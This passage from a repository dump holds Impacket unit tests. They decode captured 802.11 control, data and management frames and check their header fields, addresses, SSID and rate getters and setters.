self.assertEqual(self.cfend.get_tail_size(), 0)\n    \n    def test_02_Duration(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.cfend.get_duration(), 0x00)\n        self.cfend.set_duration(0x1234)\n        self.assertEqual(self.cfend.get_duration(), 0x1234)\n    \n    def test_03_RA(self):\n        'Test RA field'\n        \n        ra=self.cfend.get_ra()\n        self.assertEqual(ra.tolist(), [0xff,0xff,0xff,0xff,0xff,0xff])\n        ra[0]=0x12\n        ra[5]=0x34\n        self.cfend.set_ra(ra)\n        self.assertEqual(self.cfend.get_ra().tolist(), [0x12,0xff,0xff,0xff,0xff,0x34])\n\n    def test_04_BSSID(self):\n        'Test BSS ID field'\n        \n        bssid=self.cfend.get_bssid()\n        self.assertEqual(bssid.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])\n        bssid[0]=0x12\n        bssid[5]=0x34\n        self.cfend.set_bssid(bssid)\n        self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])\n      \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameControlCFEndCFACK.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK\n\n\nclass TestDot11FrameControlCFEndCFACK(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Control Frame CFEndCFACK\n        self.frame_orig=b'\\xf4\\x74\\xde\\xed\\xe5\\x56\\x85\\xf8\\xd2\\x3b\\x96\\xae\\x0f\\xb0\\xd9\\x8a\\x03\\x02\\x38\\x00'\n\n        d = Dot11(self.frame_orig)\n        \n        type = d.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)\n        \n        subtype = d.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK)\n        \n        typesubtype = d.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK)\n            \n        self.cfendcfack = Dot11ControlFrameCFEndCFACK(d.get_body_as_string())\n            \n        d.contains(self.cfendcfack)\n        \n    def test_01_HeaderTailSize(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.cfendcfack.get_header_size(), 14)\n        self.assertEqual(self.cfendcfack.get_tail_size(), 0)\n    \n    def test_02_Duration(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.cfendcfack.get_duration(), 0xEDDE)\n        self.cfendcfack.set_duration(0x1234)\n        self.assertEqual(self.cfendcfack.get_duration(), 0x1234)\n    \n    def test_03_RA(self):\n        'Test RA field'\n        \n        ra=self.cfendcfack.get_ra()\n        self.assertEqual(ra.tolist(), [0xe5,0x56,0x85,0xf8,0xd2,0x3b])\n        ra[0]=0x12\n        ra[5]=0x34\n        self.cfendcfack.set_ra(ra)\n        self.assertEqual(self.cfendcfack.get_ra().tolist(), [0x12,0x56,0x85,0xf8,0xd2,0x34])\n\n    def test_04_BSSID(self):\n        'Test BSS ID field'\n        \n        bssid=self.cfendcfack.get_bssid()\n        self.assertEqual(bssid.tolist(), [0x96,0xae,0x0f,0xb0,0xd9,0x8a])\n        bssid[0]=0x12\n        bssid[5]=0x34\n        self.cfendcfack.set_bssid(bssid)\n        self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34])\n      \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameControlCTS.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS\n\n\nclass TestDot11FrameControlCTS(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Control Frame CTS\n        self.frame_orig=b'\\xc4\\x00\\x3b\\x12\\x00\\x19\\xe0\\x98\\x04\\xd4\\x2b\\x8a\\x65\\x17'\n        \n        d = Dot11(self.frame_orig)\n        \n        type = d.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)\n        \n        subtype = d.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND)\n        \n        typesubtype = d.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND)\n            \n        self.cts = Dot11ControlFrameCTS(d.get_body_as_string())\n            \n        d.contains(self.cts)\n        \n    def test_01_HeaderTailSize(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.cts.get_header_size(), 8)\n        self.assertEqual(self.cts.get_tail_size(), 0)\n    \n    def test_02_Duration(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.cts.get_duration(), 4667)\n        self.cts.set_duration(0x1234)\n        self.assertEqual(self.cts.get_duration(), 0x1234)\n    \n    def test_03_RA(self):\n        'Test RA field'\n        \n        ra=self.cts.get_ra()\n        \n        self.assertEqual(ra.tolist(), [0x00,0x19,0xe0,0x98,0x04,0xd4])\n        ra[0]=0x12\n        ra[5]=0x34\n        self.cts.set_ra(ra)\n        self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34])\n      \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameControlPSPoll.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll\n\n\nclass TestDot11FrameControlPSPoll(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Control Frame PSPoll\n        self.frame_orig=b'\\xa6\\x73\\xf1\\xaf\\x48\\x06\\xee\\x23\\x2b\\xc9\\xfe\\xbe\\xe5\\x05\\x4c\\x0a\\x04\\xa0\\x00\\x0f'\n\n        d = Dot11(self.frame_orig)\n        \n        type = d.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)\n        \n        subtype = d.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL)\n        \n        typesubtype = d.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL)\n            \n        self.pspoll = Dot11ControlFramePSPoll(d.get_body_as_string())\n            \n        d.contains(self.pspoll)\n        \n    def test_01_HeaderTailSize(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.pspoll.get_header_size(), 14)\n        self.assertEqual(self.pspoll.get_tail_size(), 0)\n    \n    def test_02_AID(self):\n        'Test AID field'\n        \n        self.assertEqual(self.pspoll.get_aid(), 0xAFF1)\n        self.pspoll.set_aid(0x1234)\n        self.assertEqual(self.pspoll.get_aid(), 0x1234)\n    \n    def test_03_BSSID(self):\n        'Test BSS ID field'\n        \n        bssid=self.pspoll.get_bssid()\n        self.assertEqual(bssid.tolist(), [0x48,0x06,0xee,0x23,0x2b,0xc9])\n        bssid[0]=0x12\n        bssid[5]=0x34\n        self.pspoll.set_bssid(bssid)\n        self.assertEqual(self.pspoll.get_bssid().tolist(), [0x12,0x06,0xee,0x23,0x2b,0x34])\n\n    def test_04_TA(self):\n        'Test TA field'\n        \n        ta=self.pspoll.get_ta()\n        self.assertEqual(ta.tolist(), [0xfe,0xbe,0xe5,0x05,0x4c,0x0a])\n        ta[0]=0x12\n        ta[5]=0x34\n        self.pspoll.set_ta(ta)\n        self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34])\n     \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameControlRTS.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS\n\n\nclass TestDot11FrameControlRTS(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Control Frame RTS\n        self.frame_orig=b'\\xb4\\x00\\x81\\x01\\x00\\x08\\x54\\xac\\x2f\\x85\\x00\\x23\\x4d\\x09\\x86\\xfe\\x99\\x75\\x43\\x73'\n        \n        d = Dot11(self.frame_orig)\n        \n        type = d.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL)\n        \n        subtype = d.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND)\n        \n        typesubtype = d.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND)\n            \n        self.rts = Dot11ControlFrameRTS(d.get_body_as_string())\n            \n        d.contains(self.rts)\n        \n    def test_01_HeaderTailSize(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.rts.get_header_size(), 14)\n        self.assertEqual(self.rts.get_tail_size(), 0)\n    \n    def test_02_Duration(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.rts.get_duration(), 0x181)\n        self.rts.set_duration(0x1234)\n        self.assertEqual(self.rts.get_duration(), 0x1234)\n    \n    def test_03_RA(self):\n        'Test RA field'\n        \n        ra=self.rts.get_ra()\n        self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])\n        ra[0]=0x12\n        ra[5]=0x34\n        self.rts.set_ra(ra)\n        self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])\n\n    def test_04_TA(self):\n        'Test TA field'\n        \n        ta=self.rts.get_ta()\n        self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe])\n        ta[0]=0x12\n        ta[5]=0x34\n        self.rts.set_ta(ta)\n        self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34])\n      \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameData.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame\n\n\nclass TestDot11DataFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Data Frame \n        #\n        self.frame_orig=b'\\x08\\x01\\x30\\x00\\x00\\x08\\x54\\xac\\x2f\\x85\\x00\\x23\\x4d\\x09\\x86\\xfe\\x00\\x08\\x54\\xac\\x2f\\x85\\x40\\x44\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x00\\x45\\x00\\x00\\x28\\x72\\x37\\x40\\x00\\x80\\x06\\x6c\\x22\\xc0\\xa8\\x01\\x02\\xc3\\x7a\\x97\\x51\\xd7\\xa0\\x00\\x50\\xa5\\xa5\\xb1\\xe0\\x12\\x1c\\xa9\\xe1\\x50\\x10\\x4e\\x75\\x59\\x74\\x00\\x00\\xed\\x13\\x22\\x91'\n        \n        d = Dot11(self.frame_orig)\n        \n        type = d.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA)\n        \n        subtype = d.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA)\n        \n        typesubtype = d.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)\n            \n        self.data = Dot11DataFrame(d.get_body_as_string())\n            \n        d.contains(self.data)\n        \n    def test_01_HeaderSize(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.data.get_header_size(), 22)\n        self.assertEqual(self.data.get_tail_size(), 0)\n        \n    def test_02_Duration(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.data.get_duration(), 0x30)\n        self.data.set_duration(0x1234)\n        self.assertEqual(self.data.get_duration(), 0x1234)\n    \n    def test_03_Address_1(self):\n        'Test Address 1 field'\n        \n        addr=self.data.get_address1()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.data.set_address1(addr)\n        self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])\n\n    def test_04_Address_2(self):\n        'Test Address 2 field'\n        \n        addr=self.data.get_address2()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.data.set_address2(addr)\n        self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34])\n\n    def test_05_Address_3(self):\n        'Test Address 3 field'\n        \n        addr=self.data.get_address3()\n    \n        self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.data.set_address3(addr)\n        self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34])\n    \n    def test_06_sequence_control(self):\n        'Test Sequence control field'\n        self.assertEqual(self.data.get_sequence_control(), 0x4440)\n        self.data.set_sequence_control(0x1234)\n        self.assertEqual(self.data.get_sequence_control(), 0x1234)\n\n    def test_07_fragment_number(self):\n        'Test Fragment number field'\n        self.assertEqual(self.data.get_fragment_number(), 0x0000)\n        self.data.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.data.get_fragment_number(), 0x01)\n\n    def test_08_sequence_number(self):\n        'Test Sequence number field'\n        self.assertEqual(self.data.get_sequence_number(), 0x0444)\n        self.data.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.data.get_sequence_number(), 0x0234)\n        \n    def test_09_frame_data(self):\n        'Test Frame Data field'\n        # Test with packet without addr4\n        frame_body=b\"\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x00\\x45\\x00\\x00\\x28\\x72\\x37\\x40\\x00\\x80\\x06\\x6c\\x22\\xc0\\xa8\\x01\\x02\\xc3\\x7a\\x97\\x51\\xd7\\xa0\\x00\\x50\\xa5\\xa5\\xb1\\xe0\\x12\\x1c\\xa9\\xe1\\x50\\x10\\x4e\\x75\\x59\\x74\\x00\\x00\"\n        self.assertEqual(self.data.get_frame_body(), frame_body)\n      \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagement.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementBeaconFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe=b'\\x00\\x00\\x20\\x00\\x67\\x08\\x04\\x00\\x54\\xc6\\xb8\\x24\\x00\\x00\\x00\\x00\\x22\\x0c\\xda\\xa0\\x02\\x00\\x00\\x00\\x40\\x01\\x00\\x00\\x3c\\x14\\x24\\x11\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x06\\x03\\x7f\\x07\\xa0\\x16\\x06\\x03\\x7f\\x07\\xa0\\x16\\xb0\\x77\\x3a\\x40\\xcb\\x26\\x00\\x00\\x00\\x00\\x64\\x00\\x01\\x05\\x00\\x0a\\x66\\x72\\x65\\x65\\x62\\x73\\x64\\x2d\\x61\\x70\\x01\\x08\\x8c\\x12\\x98\\x24\\xb0\\x48\\x60\\x6c\\x03\\x01\\x24\\x05\\x04\\x00\\x01\\x00\\x00\\x07\\x2a\\x55\\x53\\x20\\x24\\x01\\x11\\x28\\x01\\x11\\x2c\\x01\\x11\\x30\\x01\\x11\\x34\\x01\\x17\\x38\\x01\\x17\\x3c\\x01\\x17\\x40\\x01\\x17\\x95\\x01\\x1e\\x99\\x01\\x1e\\x9d\\x01\\x1e\\xa1\\x01\\x1e\\xa5\\x01\\x1e\\x20\\x01\\x00\\xdd\\x18\\x00\\x50\\xf2\\x02\\x01\\x01\\x00\\x00\\x03\\xa4\\x00\\x00\\x27\\xa4\\x00\\x00\\x42\\x43\\x5e\\x00\\x62\\x32\\x2f\\x00'\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_BEACON)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_BEACON)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_beacon=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_beacon.__class__), \"impacket.dot11.Dot11ManagementBeacon\")\n        else:\n            self.assertEqual(str(self.management_beacon.__class__), \"<class 'impacket.dot11.Dot11ManagementBeacon'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_beacon.get_header_size(), 116)\n        self.assertEqual(self.management_beacon.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x0000)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0xFF,0xFF,0xFF,0xFF,0xFF,0xFF])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0xFF,0xFF,0xFF,0xFF,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x06,0x03,0x7f,0x07,0xa0,0x16])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x03,0x7f,0x07,0xa0,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x06,0x03,0x7f,0x07,0xa0,0x16])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x03,0x7f,0x07,0xa0,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x77b0)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 1915)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x3a\\x40\\xcb\\x26\\x00\\x00\\x00\\x00\\x64\\x00\\x01\\x05\\x00\\x0a\\x66\\x72\\x65\\x65\\x62\\x73\\x64\\x2d\\x61\\x70\\x01\\x08\\x8c\\x12\\x98\\x24\\xb0\\x48\\x60\\x6c\\x03\\x01\\x24\\x05\\x04\\x00\\x01\\x00\\x00\\x07\\x2a\\x55\\x53\\x20\\x24\\x01\\x11\\x28\\x01\\x11\\x2c\\x01\\x11\\x30\\x01\\x11\\x34\\x01\\x17\\x38\\x01\\x17\\x3c\\x01\\x17\\x40\\x01\\x17\\x95\\x01\\x1e\\x99\\x01\\x1e\\x9d\\x01\\x1e\\xa1\\x01\\x1e\\xa5\\x01\\x1e\\x20\\x01\\x00\\xdd\\x18\\x00\\x50\\xf2\\x02\\x01\\x01\\x00\\x00\\x03\\xa4\\x00\\x00\\x27\\xa4\\x00\\x00\\x42\\x43\\x5e\\x00\\x62\\x32\\x2f\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Beacon Timestamp field' \n        self.assertEqual(self.management_beacon.get_timestamp(), 0x0000000026CB403A)\n        self.management_beacon.set_timestamp(0x8765432101234567) \n        self.assertEqual(self.management_beacon.get_timestamp(), 0x8765432101234567)\n\n    def test_11(self):\n        'Test Management Beacon Interval field' \n        self.assertEqual(self.management_beacon.get_beacon_interval(), 0x0064)\n        self.management_beacon.set_beacon_interval(0x4321) \n        self.assertEqual(self.management_beacon.get_beacon_interval(), 0x4321)\n\n    def test_12(self):\n        'Test Management Beacon Capabilities field' \n        self.assertEqual(self.management_beacon.get_capabilities(), 0x0501)\n        self.management_beacon.set_capabilities(0x4321) \n        self.assertEqual(self.management_beacon.get_capabilities(), 0x4321)\n\n    def test_13(self):\n        'Test Management ssid getter/setter methods'\n        act_ssid=b\"freebsd-ap\"\n        new_ssid=b\"holala\"\n        self.assertEqual(self.management_beacon.get_ssid(), act_ssid)\n        self.management_beacon.set_ssid(new_ssid)\n        self.assertEqual(self.management_beacon.get_ssid(), new_ssid)\n        self.assertEqual(self.management_beacon.get_header_size(), 116-4)\n\n    def test_14(self):\n        'Test Management supported_rates getter/setter methods'\n        self.assertEqual(self.management_beacon.get_supported_rates(), (0x8c,0x12,0x98,0x24,0xb0,0x48,0x60,0x6c) )\n        self.assertEqual(self.management_beacon.get_supported_rates(human_readable=True), (6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0) )\n        \n        self.management_beacon.set_supported_rates((0x12,0x98,0x24,0xb0,0x48,0x60))\n\n        self.assertEqual(self.management_beacon.get_supported_rates(), (0x12,0x98,0x24,0xb0,0x48,0x60) )\n        self.assertEqual(self.management_beacon.get_supported_rates(human_readable=True), ( 9.0, 12.0, 18.0, 24.0, 36.0, 48.0) )\n        self.assertEqual(self.management_beacon.get_header_size(), 116-2)\n\n    def test_15(self):\n        'Test Management DS Parameter Set getter/setter methods'\n        self.assertEqual(self.management_beacon.get_ds_parameter_set(), 36 )\n        \n        self.management_beacon.set_ds_parameter_set(40)\n\n        self.assertEqual(self.management_beacon.get_ds_parameter_set(), 40 )\n        self.assertEqual(self.management_beacon.get_header_size(), 116)\n\n    def test_16(self):\n        'Test Management Vendor Specific getter/setter methods'\n        self.assertEqual(self.management_beacon.get_vendor_specific(), [\n            (b\"\\x00\\x50\\xf2\", b\"\\x02\\x01\\x01\\x00\\x00\\x03\\xa4\\x00\\x00\\x27\\xa4\\x00\\x00\\x42\\x43\\x5e\\x00\\x62\\x32\\x2f\\x00\")])\n\n        self.management_beacon.add_vendor_specific(b\"\\x00\\x00\\x40\",b\"\\x04\\x04\\x04\\x04\\x04\\x04\")\n\n        self.assertEqual(self.management_beacon.get_vendor_specific(), \n            [(b\"\\x00\\x50\\xf2\",b\"\\x02\\x01\\x01\\x00\\x00\\x03\\xa4\\x00\\x00\\x27\\xa4\\x00\\x00\\x42\\x43\\x5e\\x00\\x62\\x32\\x2f\\x00\"),\n             (b\"\\x00\\x00\\x40\",b\"\\x04\\x04\\x04\\x04\\x04\\x04\"),\n            ])\n        self.assertEqual(self.management_beacon.get_header_size(), 127)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementAssociationRequest.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementAssociationRequestFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe = b\"\\x00\\x00\\x1c\\x00\\xef\\x18\\x00\\x00jH\\xfa\\x00<\\x00\\x00\\x00\\x10\\x02\\x85\\t\\xa0\\x00\\xb9\\x9e_\\x00\\x00\" \\\n                        b\"\\x1b\\x00\\x00:\\x01\\x00\\x18\\xf8lvBp\\x1a\\x04T\\xe3\\x86\\x00\\x18\\xf8lvBP\\x8e1\\x04\\n\\x00\\x00\\x05ddwrt\" \\\n                        b\"\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl!\\x02\\n\\x11$\\x02\\x01\\x0e0\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\" \\\n                        b\"\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\x002\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x00\\x10\" \\\n                        b\"\\x00\\x00\\x00\\xbf]o\\xce\"\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_REQUEST)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_association_request=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_association_request.__class__), \"impacket.dot11.Dot11ManagementAssociationRequest\")\n        else:\n            self.assertEqual(str(self.management_association_request.__class__), \"<class 'impacket.dot11.Dot11ManagementAssociationRequest'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_association_request.get_header_size(), 68)\n        self.assertEqual(self.management_association_request.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])\n        